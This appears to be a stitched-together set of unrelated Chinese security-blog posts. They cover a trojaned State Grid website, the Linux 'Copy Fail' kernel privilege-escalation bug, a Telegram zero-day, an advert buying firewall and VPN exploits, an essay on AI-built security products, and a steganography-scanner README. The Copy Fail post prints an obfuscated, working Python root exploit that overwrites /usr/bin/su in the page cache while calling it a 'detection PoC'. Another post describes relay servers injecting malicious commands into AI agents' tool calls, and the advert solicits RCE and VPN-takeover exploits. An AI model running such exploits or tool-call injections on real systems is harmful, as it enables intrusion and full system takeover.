2026.05.05日，国家电网威胁情报，被挂马！应急的动起来。

在ie下的显示：

在chrome下的显示：

证书已经出问题了：

源代码访问看下端倪：

• 作用：让IE8 及以下旧浏览器支持 HTML5 新标签。

混淆的 JavaScript 代码

• 这是网站统计 / 流量分析 / 用户行为追踪代码。

• 变量 $_ts 是统计工具的对象。

• 长字符串是加密 / 混淆的配置信息，用于数据上报。

跳转微信打开

2026年4月30日，Linux 内核曝出史诗级本地提权 + 容器逃逸漏洞 Copy Fail（CVE-2026-31431），仅凭一段 732 字节 Python 脚本，就能在 2017 年至今的几乎所有主流 Linux 发行版上100% 稳定获取 root 权限，还能实现跨容器逃逸，堪称近年少有的高危内核缺陷。

2026 年 4 月 30 日，Linux 内核曝出史诗级本地提权 + 容器逃逸漏洞 Copy Fail（CVE-2026-31431），仅凭一段 732 字节 Python 脚本，就能在 2017 年至今的几乎所有主流 Linux 发行版上100% 稳定获取 root 权限，还能实现跨容器逃逸，堪称近年少有的高危内核缺陷。

一、漏洞核心：潜伏 9 年的直线逻辑错误

Copy Fail 并非依赖竞态条件的传统漏洞，而是无竞争、无偏移、单次执行必成的直线逻辑缺陷，根源藏在内核加密子系统：

• 2017 年，内核为 algif_aead 模块引入原地优化，让 AF_ALG 套接字处理 AEAD 解密时，将页缓存（page cache）页面直接放入可写分散 / 聚集列表。

• 攻击者通过splice()零拷贝，把任意可读文件（如/usr/bin/su）的页缓存页面传入 AF_ALG 套接字。

• 解密函数crypto_authenc_esn_decrypt()越界写入 4 字节序列码，不恢复原始数据，精准篡改页缓存内容，完成提权与逃逸。

整个过程不碰磁盘、无文件事件、无脏页标记，重启或清空缓存即恢复，隐蔽性拉满。

二、恐怖破坏力：通杀全场景，容器成重灾区

1. 极致便携与成功率

• 同一 Python 脚本（仅依赖标准库），无需编译、无需适配，Ubuntu、Amazon Linux、RHEL、SUSE 全通杀。

• 成功率100%，单次执行直接拿到 root shell，远超传统 LPE 漏洞 30%-80% 的成功率。

2. 致命容器逃逸能力

页缓存是主机全局共享，普通容器 Pod 可直接篡改宿主机页缓存，突破容器边界接管整个节点，对 K8s、Docker 集群威胁致命。

3. 高危覆盖场景

• 多租户主机、共享跳板机

• Kubernetes / 容器集群（节点逃逸 + 跨租户攻击）

• 自托管 CI/CD（GitHub Actions、Jenkins 等）

• 云 SaaS 代码沙箱（Notebook、Serverless）

• 个人桌面风险较低，但仍建议修复。

三、与经典漏洞对比：比 Dirty Cow 更致命

四、紧急修复：3 步快速封堵，零业务影响

1. 终极方案：升级内核（首选）

更新至包含主线提交 a664bf3d603d的内核版本，回滚 2017 年原地优化，彻底阻断漏洞利用路径，主流发行版已推送补丁。

2. 临时缓解：禁用 algif_aead 模块（补丁未到前）

执行命令禁用模块，对绝大多数系统无副作用，不影响 dm-crypt、kTLS、IPsec、SSH 等常用服务：

# 临时禁用
modprobe -r algif_aead
# 永久禁用
echo "blacklist algif_aead" >> /etc/modprobe.d/disable-algif-aead.conf

3. 容器加固：seccomp 策略拦截

在容器、CI 环境中，通过 seccomp 直接阻断AF_ALG 套接字创建，双重防护容器逃逸风险。

五、安全启示：小优化酿大灾，内核安全无小事

Copy Fail 再次印证：内核一行代码的边界检查缺失，可能埋下近 10 年的定时炸弹。页缓存的共享设计在多租户、云原生时代已成双刃剑，微小缺陷会被无限放大。

行动建议

1. 立即核查服务器内核版本与 algif_aead 模块状态

2. 优先为生产、多租户、K8s 集群打补丁

3. 容器环境同步启用 seccomp 加固

4. 关注发行版官方补丁推送，及时完成升级

漏洞 PoC 已公开，黑产利用在即，越早修复越安全。

检测Poc：

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

跳转微信打开

本文所讨论的仅为「理论层面的技术可能性」—— 截至目前，我既未实际观察到任何相关案例，也未听闻过公开的恶意攻击事件。但基于中转站的技术原理，这种潜在风险真实存在，我已在本地环境（本地模型+openclaw）进行试验，完成执行流程注入，下载木马执行。

提前声明

本文所讨论的仅为「理论层面的技术可能性」—— 截至目前，我既未实际观察到任何相关案例，也未听闻过公开的恶意攻击事件。但基于中转站的技术原理，这种潜在风险真实存在，我已在本地环境（本地模型+openclaw）进行试验，完成执行流程注入，下载木马执行。

先搞懂：Agent 的 Tool Call 链路到底是怎样的？

熟悉 Agent 运作逻辑的朋友都知道，Agent 要实现复杂功能，必须依赖「Tool Call（工具调用）」：

1.LLM 生成 Tool Call 请求（比如执行 Shell 命令、编写代码文件、调用本地软件等）；

2.该请求通过网络传输至你的本地客户端；

3.客户端根据预设规则，要么弹出弹窗让你确认同意，要么直接自动执行（比如部分自动化工作流会跳过确认步骤）。

关键问题在于：LLM 返回的 Tool Call 请求本身，并不具备「绝对无害」的保证。此前社区已经出现过不少惨痛案例—— 比如 LLM 因幻觉生成了 rm -rf /*这类删全盘命令，或误写了包含恶意逻辑的代码，最终导致用户数据丢失、设备异常。这些大多是「无意的执行失误」，但风险已然可见。

中转站的角色：既是「桥梁」，也可能是「黑手」

现在，越来越多用户会通过「中转站」使用 Agent（比如跨网络访问、优化连接稳定性、使用第三方定制功能等），这就让原本的「LLM → 本地客户端」两点链路，变成了「LLM → 中转站 → 本地客户端」的三点链路。

中转站作为全程参与数据传输的「中间人」，拥有两个核心权限：

1.查看所有消息记录：你的提问、LLM 的回复、Tool Call 的具体内容，理论上都能被中转站捕获和存储；

2.任意篡改传输内容：这正是最危险的地方—— 中转站完全可以在 Tool Call 请求从 LLM 传向客户端的过程中，偷偷修改内容：

◦给 Shell 命令加个「尾巴」：比如原本要执行 ls -l查看文件，被篡改为ls -l && 恶意脚本.sh，执行后悄悄植入病毒；

◦给代码植入恶意逻辑：比如 LLM 生成的是正常的数据分析代码，被篡改后加入窃取隐私、挖矿、远程控制的片段；

◦伪造 Tool Call 请求：甚至可以跳过 LLM，直接伪造一条看似来自官方的 Tool Call，诱导客户端执行。

一旦这些被篡改的恶意 Tool Call 获得执行权限（无论是否经过用户同意 —— 很多人会因信任官方或嫌麻烦直接点「同意」），你的本地运行环境就会完全暴露在风险中：设备被控制、隐私数据被窃取、沦为挖矿肉鸡，都可能发生。

两种风险的核心区别：无意失误 vs 恶意攻击

很多人已经意识到「Agent 可能有危险」，但这种危险和中转站带来的风险，本质完全不同：

为什么要重视这种「理论风险」？

可能有人觉得「没发生过的事，没必要大惊小怪」，但结合现实案例来看，这种担忧绝非杞人忧天：

•近期新闻曝光：不少家用宽带代理，本质是黑客入侵家庭路由器后搭建的，用户的网络流量全程被劫持；

•早年的广告联盟乱象：很多推广的「免费软件」「优化工具」，实际是捆绑了病毒的流氓软件，目的就是窃取用户设备控制权或挖矿；

•中转站的用户体量正在快速增长—— 当一个工具的使用者达到一定规模，就可能被黑恶势力盯上：高价买通中转站运营者、入侵中转站服务器，通过投毒批量控制用户设备，这种黑色产业链早已存在。

这意味着：中转站「收割用户」的方式，可能不止卖数据—— 把用户设备变成肉鸡出租、窃取账号密码和隐私信息、植入挖矿程序，这些都能带来巨额利益。对于那些本身就有劣迹的中转站（比如掺 GLM 冒充 Opus 售卖、逆向破解官方功能、数据注水造假），只要有利可图，出卖用户的底线根本不值一提。

给用户的安全建议：至少做好这几点

尽管风险存在，但我们无需因噎废食，做好隔离和防护就能大幅降低损失：

1.优先使用隔离环境：这是最核心的建议—— 用 Docker、Dev Container 或虚拟机（比如 VirtualBox、VMware）搭建独立的 Agent 运行环境。所有 Tool Call 都在隔离环境中执行，哪怕被投毒，只需删除容器 / 虚拟机重新创建，就能恢复纯净环境，不会影响宿主机的系统和数据（注：暂不考虑容器逃逸等极端情况，普通用户做好基础隔离即可）；

2.谨慎选择中转站：优先使用官方认证、口碑良好、有明确隐私政策的中转站；对于有过造假、欺诈劣迹的中转站，直接拉黑，绝不使用；

3.开启 Tool Call 确认机制：无论使用哪个中转站，都要在客户端设置中开启「Tool Call 执行前必须用户确认」，不要图方便开启自动执行。执行前仔细审核命令和代码内容，尤其警惕 rm「wget」「curl」等可能修改系统、下载文件的命令；

4.定期清理运行环境：即使使用了隔离环境，也建议定期重置容器 / 虚拟机，避免恶意程序长期潜伏；

5.敏感操作避开中转站：如果要执行涉及隐私数据（比如账号密码、个人文件）、系统核心设置的 Tool Call，尽量直接连接官方 LLM，绕过第三方中转站。

跳转微信打开

2026 年 3 月，全球月活超 10 亿的即时通讯巨头 Telegram 曝出高危零日漏洞 ZDI-CAN-30207，其 CVSS v3.1 基础评分高达 9.8 分，这一近乎远程代码执行漏洞的最高评级，瞬间牵动全球安全社区的神经。作为典型的零点击远程代码执行（RCE） 漏洞，它无需用户任何操作，仅通过恶意富媒体内容即可实现设备接管、大规模数据窃取甚至蠕虫式传播。这一漏洞的出现，不仅让超 10 亿 Telegram 用户暴露在安全风险中，更撕开了富媒体时代即时通讯应用的安全裂痕，引发行业对通讯工具安全边界的深度反思。

漏洞核心信息：9.8 分背后的无门槛攻击风险

此次漏洞由 Trend Micro 旗下零日漏洞倡议机构（ZDI）研究员 Michael DePlante 发现并上报，内部编号 ZDI-CAN-30207，ZDI 遵循负责任披露原则，为 Telegram 开发团队划定了截至 2026 年 7 月 24 日的 90 天修复窗口。目前官方尚未发布补丁，漏洞核心技术细节处于严格保密状态，仅公开确认受影响产品为 Telegram Messenger。

9.8 分的 CVSS 评分对应向量字符串AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H，每一项都指向该漏洞的极致危险性：攻击者可通过网络远程发起攻击，无需物理接触设备、无需任何权限，仅知晓目标用户名或手机号即可；构造恶意内容的复杂度极低，地下论坛甚至已出现相关生成工具；最关键的零交互（UI:N） 特性，让受害者无需点击、打开任何消息，客户端的自动渲染机制就会成为攻击入口。而一旦攻击得手，攻击者可读取含私密聊天在内的全部聊天记录、窃取联系人与位置数据、控制麦克风和摄像头，甚至将恶意代码传播至受害者联系人列表，形成蠕虫效应，对用户信息的保密性、系统完整性和设备可用性造成毁灭性打击。

漏洞争议：攻击路径推测与厂商官方否认

尽管核心细节未公开，但安全社区结合行业经验做出了关键推测，而这一推测也与 Telegram 官方立场形成鲜明分歧，成为此次漏洞事件的核心争议点。

多家安全媒体指出，该漏洞的攻击路径大概率指向 Telegram 的富媒体自动处理环节，具体与.tgs 格式动画贴纸的解析相关。攻击者只需向目标用户发送特制的恶意动画贴纸，客户端在聊天预览、通知栏渲染或自动下载媒体的过程中，就会触发漏洞，全程无需用户干预。进一步的技术推测认为，漏洞根因位于 Telegram 所使用的 Skia 图形引擎 —— 这款被 Chrome、Android 等广泛采用的 2D 图形渲染库，在处理动画帧时因 **“层深度” 值异常引发堆缓冲区溢出 **，进而让攻击者实现从媒体解析沙箱逃逸，最终达成任意代码执行。这一推测并非空穴来风，Skia 引擎历史上曾多次曝出堆缓冲区溢出类内存安全漏洞，是黑客突破应用安全防线的常见突破口。

面对社区推测，Telegram 官方在 X（原 Twitter）上明确否认 **“零点击贴纸利用”** 说法，强调 “所有上传至 Telegram 的贴纸均经过服务器验证，不可能通过损坏的贴纸实现攻击”。厂商与安全研究者的公开分歧，让漏洞的真实技术面貌更添迷雾，但无论攻击路径如何，在官方补丁发布前，潜在的安全风险始终存在。

影响范围与当前安全状态

截至 2026 年 3 月 30 日，该漏洞的受影响平台主要指向Android 和 Linux Desktop 版本的 Telegram，Windows 与 iOS 版本暂未被明确列入受影响名单。由于漏洞细节未公开，目前无法确认具体受影响的版本范围，所有未更新至修复版的 Telegram 客户端，均存在潜在被攻击风险。

从实际威胁来看，目前暂无公开的漏洞利用证明（PoC），也无证据显示该漏洞已被在野利用。但结合 ZDI 高分零日漏洞的历史规律，此类高危漏洞往往在披露前就已成为国家级 APT 组织和地下黑产的重点关注目标，而长达 4 个月的修复窗口期，让全球超 10 亿 Telegram 用户的安全防护面临巨大挑战。

紧急防护：补丁落地前的可执行硬化策略

在 Telegram 官方补丁正式上线前，用户的主动防护成为抵御漏洞风险的关键，针对 Android 和桌面端核心受影响平台，可执行以下分层硬化策略，从源头切断攻击路径：

1. 禁用自动媒体下载（核心措施）

   ：进入设置→数据和存储→自动媒体下载，关闭 “移动数据时”“Wi-Fi 连接时”“漫游时” 全部自动下载选项；同时在设置→聊天设置中，关闭 “自动播放 GIF” 和 “自动播放视频”，杜绝恶意媒体的自动解析与渲染。

2. 严格限制消息来源

   ：进入设置→隐私与安全，将 “群组与频道”“语音通话” 的权限修改为 “仅我的联系人”，避免接收未知来源的恶意消息。

3. 桌面版额外沙箱防护

   ：使用 Flatpak/Snap 沙箱化运行 Telegram 桌面版，或在虚拟机 / 容器中隔离使用；优先选择 Web 版（利用浏览器沙箱）或官方桌面版最新测试版，降低漏洞被利用后的影响范围。

4. 基础安全加固

   ：启用 Telegram 两步验证（2FA），提升账号本身的安全等级；避免从未知联系人接收任何媒体内容，敏感业务账号可暂时切换至其他安全通讯工具；密切关注 Telegram 官方更新推送，补丁发布后立即升级（预计将包含 v11.x + 版本）。

安全启示：富媒体时代，即时通讯的安全底线该如何筑牢？

Telegram 此次 9.8 分零日漏洞事件，并非孤例，而是富媒体时代即时通讯应用安全问题的集中爆发。随着动画贴纸、GIF、短视频、高清图片等富媒体内容成为即时通讯的标配，用户体验持续升级的背后，是应用攻击面的不断扩大 —— 媒体解析器、图形渲染引擎、自动预览机制等环节，都可能成为黑客的突破口，而像 Skia 这样的通用开源库，一旦出现漏洞，更会引发连锁反应，影响大批依赖该库的应用和平台。此次事件也为即时通讯行业、开发者和普通用户，分别敲响了安全警钟。

对行业与开发者：三大核心原则筑牢技术安全防线

1. 内存安全是底层底线

   ：媒体解析、图形渲染等核心环节，应尽快摒弃传统 C/C++ 语言，采用 Rust、WebAssembly 等内存安全语言重构，从代码层面杜绝缓冲区溢出、内存越界等基础内存漏洞。WhatsApp 此前将核心媒体处理库从 C++ 重写为 Rust，实现了内存安全的大幅提升，为行业树立了标杆。

2. 严格落实沙箱隔离与零信任策略

   ：媒体解析过程必须实现独立沙箱运行，即使解析环节被攻破，也能阻止黑客突破沙箱实现系统接管；客户端应默认采用 “零信任” 媒体处理策略，非联系人发送的富媒体内容，默认不预览、不自动下载、不自动解析，将触发权完全交还给用户。

3. 强化服务器端的前置验证

   ：对用户上传的所有媒体文件，执行深度模糊测试（fuzzing）与格式合规性检查，精准识别畸形文件、伪装文件，从源头拦截恶意内容，避免将安全风险完全转嫁到客户端，弥补客户端防护的短板。

对普通用户：摒弃 “加密即安全” 的认知误区

很多用户选择 Telegram 等工具，正是看中其端到端加密的隐私保护能力，但此次漏洞证明：端到端加密并非即时通讯的 “安全万能牌”。即使数据传输环节实现了加密，客户端的代码实现漏洞、自动功能的设计漏洞，仍可能让所有隐私保护形同虚设。

在富媒体时代，用户必须摒弃 “加密就等于绝对安全” 的认知，主动关闭不必要的自动功能，谨慎接收未知来源的消息和媒体，通过基础的安全设置为自己构筑额外的防护屏障。同时，需建立 “漏洞修复及时升级” 的安全习惯，面对高危漏洞预警，及时采取防护措施，而非抱有侥幸心理。

结语

ZDI-CAN-30207 漏洞是 2026 年迄今最受关注的移动端零日漏洞之一，9.8 分的 CVSS 评分与零点击特性，让其成为即时通讯行业的一次重要安全警示。尽管 Telegram 官方与安全研究者在攻击路径上存在分歧，但 ZDI 的专业信誉与高分评级不容忽视，长达 4 个月的修复窗口期，更让全球超 10 亿用户的安全防护迫在眉睫。

此次事件也让行业清晰认识到：在即时通讯工具的功能竞争中，体验升级与安全防护绝不能失衡。厂商不能只追求富媒体功能的丰富性，而忽视底层的技术安全；行业需要建立更高效的漏洞披露与响应机制，缩短高危零日漏洞的风险窗口；而普通用户则需要提升自身安全意识，主动做好防护，才能在富媒体时代的通讯环境中，守住自己的信息安全红线。

目前，关于该漏洞的技术细节、修复进展仍在持续跟踪中，一旦有新的 PoC、根因分析或 CVE 编号发布，安全社区也将第一时间更新相关信息。而这场漏洞风波背后，关于富媒体时代即时通讯安全边界的探讨，才刚刚开始 —— 如何在体验与安全之间找到平衡，让技术升级与安全防护同步推进，将成为所有即时通讯厂商必须面对的核心课题。

跳转微信打开

暗影安全，涉及国际化大型网络安全测评项目，现因重点项目攻坚需求，紧急寻购一批企业级防火墙及 VPN 设备的高价值漏洞！

目标设备品牌明确：飞塔（Fortinet）、ivanti、思科（Cisco）、合勤（ZyXEL）、 sonicwall、watchguard、sophos、vigor，仅限企业级型号。

核心需求聚焦两类漏洞：一是可直接实现远程代码执行（RCE）的高危漏洞，二是能获取 VPN 接入控制权的关键漏洞，0day、1day 均在征集范围。

所有漏洞将仅用于合法合规的项目测评与安全防护研究，严格恪守行业规范与法律边界。若您手握相关漏洞资源，欢迎后台私信详谈，我们将提供有竞争力的合作条件，全程保密对接，高效推进合作。

精准需求，诚意寻源，资金充足，验证秒结，期待与行业伙伴携手，助力网络安全产业全球化升级！

跳转微信打开

一人网络安全公司启动，附全套产品源码

先来说点冠冕堂皇的东西，从历史上发现点什么，才能让我们对技术更加的敬畏。

------------------

人工智能（AI）从理论萌芽到通用大模型爆发，历经思想奠基、学科诞生、两次寒冬、深度学习崛起、大模型普及五大阶段，以下是完整时间轴与关键大事件：

一、思想奠基期（1943–1955）：智能的数学与哲学起点

• 1943 年

  ：沃伦・麦卡洛克与沃尔特・皮茨提出人工神经元数学模型（MP 模型），奠定神经网络理论基础。

• 1950 年

  ：艾伦・图灵发表《计算机器与智能》，提出图灵测试，定义 “机器能否思考” 的判断标准。

• 1951 年

  ：马文・明斯基与迪安・埃德蒙兹建造SNARC，首个基于神经网络的学习机。

二、学科诞生与黄金时代（1956–1974）：AI 正式启航

• 1956 年

  ：达特茅斯会议（约翰・麦卡锡、马文・明斯基、克劳德・香农等），首次提出 “人工智能（AI）” 术语，标志 AI 学科正式诞生。

• 1956 年

  ：纽厄尔、西蒙、肖开发逻辑理论机（LT），证明《数学原理》中的定理，开启机器定理证明。

• 1957 年

  ：弗兰克・罗森布拉特发明感知机（Perceptron），首个可训练的单层神经网络模型。

• 1959 年

  ：亚瑟・塞缪尔提出 **“机器学习”** 概念，其跳棋程序击败设计者，1962 年战胜州冠军。

• 1966 年

  ：约瑟夫・维森鲍姆推出ELIZA，首个聊天机器人，模拟心理治疗师对话。

• 1972 年

  ：SHRDLU系统诞生，可理解自然语言并操作虚拟积木，是早期 NLP 里程碑。

三、第一次 AI 寒冬（1974–1980）：期望与现实落差

• 1974 年起，因算力不足、算法局限、资金削减，AI 进入低谷；感知机局限性被批判，神经网络研究遇冷。

• 1976 年：MYCIN专家系统问世，用于医疗诊断，是专家系统巅峰之作。

四、专家系统繁荣与第二次寒冬（1980–1993）：商业尝试与再遇冷

• 1980 年

  ：XCON系统商业化成功，用于计算机配置，带动专家系统热潮。

• 1986 年

  ：杰弗里・辛顿等人重新提出反向传播（BP）算法，解决多层神经网络训练难题，为深度学习埋下火种。

• 1987–1993 年

  ：专家系统维护成本高、通用性差，AI 再次遇冷，进入第二次寒冬。

五、复苏与深度学习前夜（1993–2011）：算力与数据积累

• 1997 年

  ：IBM** 深蓝（Deep Blue）** 击败国际象棋世界冠军卡斯帕罗夫，AI 首次在复杂棋类战胜人类顶尖选手。

• 2006 年

  ：杰弗里・辛顿提出深度信念网络（DBN），正式确立深度学习概念，解决梯度消失问题。

• 2009 年

  ：李飞飞团队发布ImageNet数据集，含 1400 万标注图像，为计算机视觉提供海量数据基础。

六、深度学习爆发期（2012–2017）：感知智能革命

• 2012 年

  ：Alex Krizhevsky 推出AlexNet，在 ImageNet 竞赛将错误率从 26% 降至 15%，深度学习时代正式开启。

• 2014 年

  ：伊恩・古德费洛提出生成对抗网络（GAN），开启 AI 生成内容（AIGC）序幕。

• 2016 年

  ：DeepMindAlphaGo击败围棋世界冠军李世石，证明 AI 在直觉与策略领域的突破。

• 2017 年

  ：谷歌发布《Attention Is All You Need》，提出Transformer 架构，成为大语言模型核心基础。

七、大模型与通用智能时代（2018–至今）：全民 AI 到来

• 2018 年

  ：OpenAI 发布GPT-1（1.17 亿参数），验证预训练 + 微调范式；谷歌推出BERT，刷新 NLP 多项纪录。

• 2020 年

  ：OpenAI 发布GPT-3（1750 亿参数），展现通用语言能力，实现 “量变到质变”。

• 2022 年

  ：ChatGPT上线，基于 RLHF 实现类人对话，两个月用户破亿，AI 全民化元年。

• 2023 年

  ：多模态大模型爆发（GPT-4、文心一言、通义千问等），AI 具备文本、图像、音频理解与生成能力。

• 2024 年

  ：OpenAI 发布Sora，实现文本生成高质量视频，AIGC 进入视频时代。

需要我把以上时间轴整理成一页可直接查看的精简版时间线吗？

-----------------

现在来说下，一人网络安全公司的启动，只讲干货，前提是各位要有重塑自己意识形态的勇气。

一、 产品经理的春天

一个好的产品来自愈它的生母：产品经理

一个好的产品经理是Ai时代的主角

洞察用户需求是灵魂

让灵魂和Ai一起要走交响曲

二、从一份产品白皮书到商业软件的进化

通常这个你话需要半年甚至更久

现在有可能只需要百度文库的一次下载

商业软件的门槛已经悄悄改变

杀死商业软件的是销售模式并非功能本身

三、杀死网络安全的到底是什么？

拼价格

拼功能

拼资金体量

拼服务

还有很多东西可以去拼

四、如果产品全部开源了，还有什么壁垒？

还有什么壁垒是Ai之下网络安全的方向？

思考产品之外的生存困境。

------------------

从一个产品白皮书到一款商业软件的进化

1、规划目录结构

2、核心代码创建

3、扫描模块创建

4、依此进行各个模块的编写

5、修复自己编写代码中的bug，反复进行自我调适

最终给你一整套的代码

做完这些你只用了2分钟

去喝茶吧，1小时后回来看结果

此次结果花费了你不到100块的成本

花半天时间进行部署调试，到这里已经完成了80%

当然还需要一些相关销售许可你才可以卖

换个思路，直接开源，剩下的服务才是网络安全的根本

祝大家有个愉快而又焦虑的周末。

阅读原文

跳转微信打开

StegoScan.py 是一款功能强大的新一代工具，用于自动检测网站、Web 服务器和本地目录中的隐写术，它集成了 AI 驱动的对象和文本识别以及深度文件分析技术。与传统的隐写术检测工具（通常仅限于有限的文件类型或需要手动处理）

StegoScan

概述

StegoScan.py 是一款功能强大的新一代工具，用于自动检测网站、Web 服务器和本地目录中的隐写术，它集成了 AI 驱动的对象和文本识别以及深度文件分析技术。与传统的隐写术检测工具（通常仅限于有限的文件类型或需要手动处理）不同，StegoScan.py 旨在进行全面、自动化的扫描——抓取网站、解析嵌入文件，并检测各种格式（包括 PNG、JPG、BIN、PDF、DOCX、WAV 和 MP3）中的隐藏信息。

该工具具备强大的网站和网络服务器扫描功能，对于监控非法数据交换的安全研究人员或追踪网络犯罪分子的执法人员来说，其价值不可估量。只需一条命令，即可分析整个域名或 IP 地址范围，检索并检查可疑媒体和文档，以发现隐藏的通信内容。无论是检测暗网市场中的秘密交易、识别虚假信息宣传活动中嵌入的宣传内容，还是揭露恐怖网络中隐藏的指令，StegoScan.py 都能提供无与伦比的隐写威胁可视性。

StegoScan.py 的一项隐写术检测改进之处在于集成了 YOLO 和 TrOCR 等 AI 模型，用于检测图像和音频文件中原本需要人工验证的对象和文本。传统的 OCR（光学字符识别）工具可靠性极低，常常因为噪声、失真或非标准字体等原因而无法识别隐藏在图像中的基本文本。StegoScan.py 通过提供可选的 AI 增强型文本检测功能克服了这一难题，显著提高了从图像、扫描文档甚至音频文件的频谱图中提取隐藏信息的能力。对于需要从受损媒体中高置信度提取文本的取证分析师、网络安全专家和执法机构而言，这无疑是一项颠覆性的技术。

另一项创新功能是深度文件提取——这是隐写分析领域的一项关键进步。StegoScan.py 不仅扫描 PDF 和 DOCX 文件的表面，还能更进一步，提取并分析其中嵌入的文件。这意味着它可以发现隐藏在附件或深层嵌套文档中的隐写内容，弥补了传统扫描工具的一个重大盲点。

StegoScan.py 将多种隐写分析技术整合到一个统一的测试中，提供详尽的多层次文件分析，为安全团队、数字取证专家和网络安全研究人员提供应对不断演变的数字威胁的尖端解决方案。随着隐写技术的日益复杂，传统工具已难以应对——StegoScan.py 能够检测到其他工具遗漏的信息，确保组织始终领先于恶意行为者。有关隐写技术及其应用的更详细描述，请参阅题为“StegoScan 的背景和原理”的部分。

StegoScan 的工作原理

StegoScan 首先会搭建一个专用的 Python 环境，创建本地工作区，并安装所有必要的工具和软件包，以支持其分析功能套件。一切就绪后，它会验证所有提供的 IP 地址（如果已选择），以确保它们属于正在运行的 Web 服务器。

目标确认后，StegoScan 开始工作——从指定的 IP 地址和 URL 中抓取所有指定类型的文件。如果选择了本地目录，它也会从中收集文件。所有收集到的文件都会按类型整齐地整理并存储在所选目录中。

接下来，StegoScan 会生成一个结果目录，并启动其一系列隐写术检测测试。如需了解可用测试的详细信息，请参阅“隐写术测试”部分。随着隐藏数据的发现，文件会被分类并存储在与识别它们的特定测试相对应的子文件夹中。所有测试完成后，StegoScan 将完成整个流程并结束执行。

新颖特色

• 网站和网络服务器扫描功能——与仅关注静态文件的传统隐写分析工具不同，StegoScan.py 可主动扫描整个网站、IP 地址范围和网络服务器，查找隐藏信息。无论是调查暗网市场、网络犯罪论坛还是被入侵的企业网站，它都能自动完成整个过程，包括检索和分析文件中嵌入的隐写内容。无需再手动下载和整理文件——StegoScan 为您完成一切！

• 图像和音频文件的AI物体和文本检测——传统的OCR（光学字符识别）技术并不可靠，经常无法识别失真文本、非标准字体或噪声图像。StegoScan.py集成了YOLO和TrOCR等先进的AI模型，增强了文本提取和物体检测能力，能够揭示标准OCR完全无法识别的隐藏信息。它甚至可以扫描音频频谱图，从中发现隐写内容，从而深入了解隐藏的数据交换。

• 深度提取 PDF 和 DOCX 文件中的文件——大多数工具在分析文档文件时只是浅尝辄止，但 StegoScan.py 却能深入挖掘！它能自动提取隐藏在 PDF、DOCX 文档和其他复杂格式文件中的嵌入式文件，并分析其中的隐写数据。这消除了一个主要的盲点——隐藏在看似无害的文档中的有效载荷不再能逃过检测。再也不会有被忽略的隐藏文件——只要存在，StegoScan 就能找到。

• 用于详细文件分析的综合工具测试——StegoScan.py 并非功能单一。它将多种隐写术检测方法整合到一个强大的测试工具中，确保对每个扫描文件进行分层、全面的分析。StegoScan 不依赖单一的检测技术（这种技术很容易被绕过），而是使用多种方法交叉检查文件，以最大限度地提高检测准确率。

• 自动化且针对 Linux 优化——还在为繁琐的依赖项而烦恼吗？StegoScan.py 即插即用，无需手动设置即可自动安装所需组件，确保流畅高效的扫描过程。它专为速度和效率而打造，可在 Linux 系统上无缝运行，是网络安全专家、渗透测试人员和取证分析师的理想工具。

一般特征

• 网络抓取和文件下载 – 自动从 URL、IP 地址和 IP 范围提取和下载特定文件类型，从而实现大规模网络内容分析。

• 本地目录提取与测试 – 扫描本地目录中的隐写内容，识别存储文件中的隐藏信息。

• 图像处理与隐写术分析——对图像进行深入的隐写术测试，使用多种检测技术来发现隐藏的数据。

• 从 PDF 和 DOCX 中提取嵌入式文件 – 从 PDF 和 DOCX 文档中提取和分析图像和嵌入式文件，这是识别深层隐藏的隐写内容的关键步骤。

• 隐写术检测工具 – 集成了 stegano、stegdetect 和 zsteg，用于对图像文件中隐藏的消息进行多层检测。

• AI赋能的物体和文本检测——利用AI驱动的分析增强传统检测方法：

• YOLOv8 用于高精度目标检测、识别嵌入图像和符号。

• TrOCR 是一种高级文本识别工具，能够从手写、风格化或扭曲的字体中提取文本，其准确率比标准 OCR 工具更高。

• 基本恶意软件和 ELF 文件分析 – 对 ELF 二进制文件和其他可执行文件执行初步安全分析，帮助识别潜在的恶意软件威胁。

• 音频和二进制文件分析 – 分析 WAV 和 MP3 文件中隐藏的隐写数据，包括嵌入在频谱图或听不见的频率范围内的消息。

• 二进制文件结构提取 – 利用 Binwalk 提取和检查二进制文件中的隐藏文件、固件和嵌入式数据。

• 多线程支持——针对性能进行了优化，能够快速高效地扫描大型数据集，使其成为取证调查和大规模网络安全应用的理想选择。

隐写术测试

（部分测试下方是用于测试该工具的示例文件，以可视化的方式概述了测试将发现的内容以及文件在通信网站上可以多么不显眼。）

1. LSB - 使用 stegano Python 导入来检查 PNG 文件中隐藏在文件 LSB 中的纯文本消息。

左侧为未修改的图片，右侧图片中嵌入了“hello world”字样。

2. 图像完整性 - 使用 Pillow Python 导入来检查 PNG 和 JPG 文件的完整性。

3. Hist - 使用 Matplotlib Python 导入生成直方图，显示 PNG 和 JPG 文件的 RGB 颜色值的分布。

4. 目标检测 - 使用 YOLOv8 和 TrORC 通过迭代地移除 LSB 并仅测试图像上的红色、绿色和蓝色滤镜来测试 PNG 和 JPG 文件的每一层。

示例命令

基本用法

sudo python StegoScan.py -u " https://example.com " -t "*" -o "downloads" -m "all"

从 URL 下载文件

sudo python StegoScan.py -u " https://example.com " -t "jpg,png" -n 5 -o "downloads" -m "all"

分析本地目录

sudo python StegoScan.py -l "path/to/local/files" -t "*" -o "downloads" -m "lsb,hist,png"

图形用户界面

虽然图形用户界面仍在开发中，尚未完全整合到整个系统中，但这是当前版本：

• 请注意，如果在执行过程中没有传递任何命令行参数，则会自动加载图形用户界面。

阅读原文

跳转微信打开

